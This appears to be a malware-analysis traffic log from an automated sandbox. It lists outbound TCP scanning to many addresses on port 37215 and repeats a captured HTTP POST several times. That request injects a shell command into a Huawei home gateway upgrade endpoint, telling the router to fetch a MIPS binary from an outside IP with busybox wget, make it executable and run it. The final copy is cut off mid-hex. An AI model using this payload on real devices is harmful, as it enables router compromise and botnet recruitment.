Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.117.2.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.106.22.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.151.198.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.111.72.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.34.98.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.92.118.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.191.29.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.184.249.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.191.151.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.13.211.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.144.253.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.206.156.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.36.87.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.170.107.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.36.214.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.91.25.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.191.172.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.6.119.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.188.122.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.99.92.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.110.172.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.199.241.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.5.233.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.183.226.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.1.96.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.104.49.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.136.1.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.110.235.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.120.120.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.9.152.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.67.208.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.163.19.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.254.7.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.194.42.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.27.172.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.146.139.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.216.174.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.25.88.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.114.75.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.78.84.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.2.77.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.144.75.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.19.206.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.225.90.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.163.120.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.97.235.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.108.0.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.158.74.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.181.106.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.193.145.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.32.217.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.41.90.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.149.143.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.90.81.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.150.120.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.165.184.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.231.221.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.180.121.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.103.112.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.161.246.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.168.244.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.10.35.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.33.22.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.245.125.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.183.44.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.62.240.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.43.103.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.60.223.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.114.219.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.190.225.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.247.50.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.143.112.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.93.6.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.27.28.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.139.141.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.6.234.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.143.117.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.163.75.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.74.200.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.232.244.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 156.96.237.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 41.233.254.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.109.241.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.5.187.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.123.237.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:60650 -> 197.36.25.212:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 